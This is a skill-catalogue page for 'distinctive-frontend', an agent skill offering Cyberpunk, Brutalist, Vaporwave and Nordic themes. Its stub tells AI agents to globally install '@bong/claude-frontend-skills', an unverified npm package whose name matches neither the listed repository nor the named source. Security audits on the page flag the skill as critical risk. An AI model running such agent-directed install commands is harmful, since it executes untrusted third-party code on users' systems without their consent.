skillZs
★ LIVE SKILL TAGS ★
>>> LIVE SKILLS INDEX <<<
* OPEN SOURCE *
NO LOGIN, NO TRACKING
※ REAL INSTALL DATA ※
← back to all skills
podo/design-agent-skills566 installs

distinctive-frontend

Generates distinctive interfaces using four themed design systems — Cyberpunk, Brutalist, Vaporwave, and Nordic Minimalism — with pre-configured typography pairings, color systems, and staggered animations. Single skill: distinctive-frontend.

How do I install this agent skill?

npx skills add https://github.com/podo/design-agent-skills --skill distinctive-frontend
view source ↗

Is this agent skill safe to install?

  • Gen Agent Trust Hubwarn

    This skill instructs the agent to install an unverified third-party NPM package globally, which can lead to the execution of untrusted code during the installation process.

  • Socketwarn

    1 alert: gptAnomaly

  • Snykfail

    Risk: CRITICAL · 2 issues

What does this agent skill do?

distinctive-frontend

Catalogue stub — full package: Koomook/claude-frontend-skills

Decision tree

  1. Is the package already installed? Check: your agent's skills directory contains distinctive-frontend with content beyond this stub.

    • Yes → invoke distinctive-frontend and proceed
    • No → go to step 2

  2. Which agent are you on?

    • Claude Code → npm install -g @bong/claude-frontend-skills
    • Cursor → npm install -g @bong/claude-frontend-skills
    • Other → npm install -g @bong/claude-frontend-skills or see GitHub README

Install command

npm install -g @bong/claude-frontend-skills

Invoke after install

  • Skill name: distinctive-frontend
  • Trigger phrases: "distinctive frontend", "cyberpunk UI", "brutalist frontend", "vaporwave design", "nordic minimalism"

What it does

Packages four fully-specified design systems in a single skill: Cyberpunk (neon-on-dark, tech typography, glitch effects), Brutalist (high-contrast, raw grid, bold sans), Vaporwave (pastel gradients, retro type, synthwave motion), and Nordic Minimalism (clean whitespace, muted palette, functional sans). Each theme ships with curated typography pairings, a complete color system, and pre-built staggered animation sequences. Choose a theme by name and the skill generates production-ready component code aligned to that aesthetic.

When NOT to use

  • When you need production-safe, conservative design (these themes are opinionated and experimental — not suitable for enterprise SaaS or regulated industries without significant adaptation)
  • When you need to mix themes or create a hybrid aesthetic (each theme is self-contained and opinionated)

How can the creator link this skill?

Add the canonical catalog link to the repository README so users can inspect current installs and available audits. The publishing guide covers the complete discovery path.

<a href="https://skillzs.dev/skills/podo/design-agent-skills/distinctive-frontend">View distinctive-frontend on skillZs</a>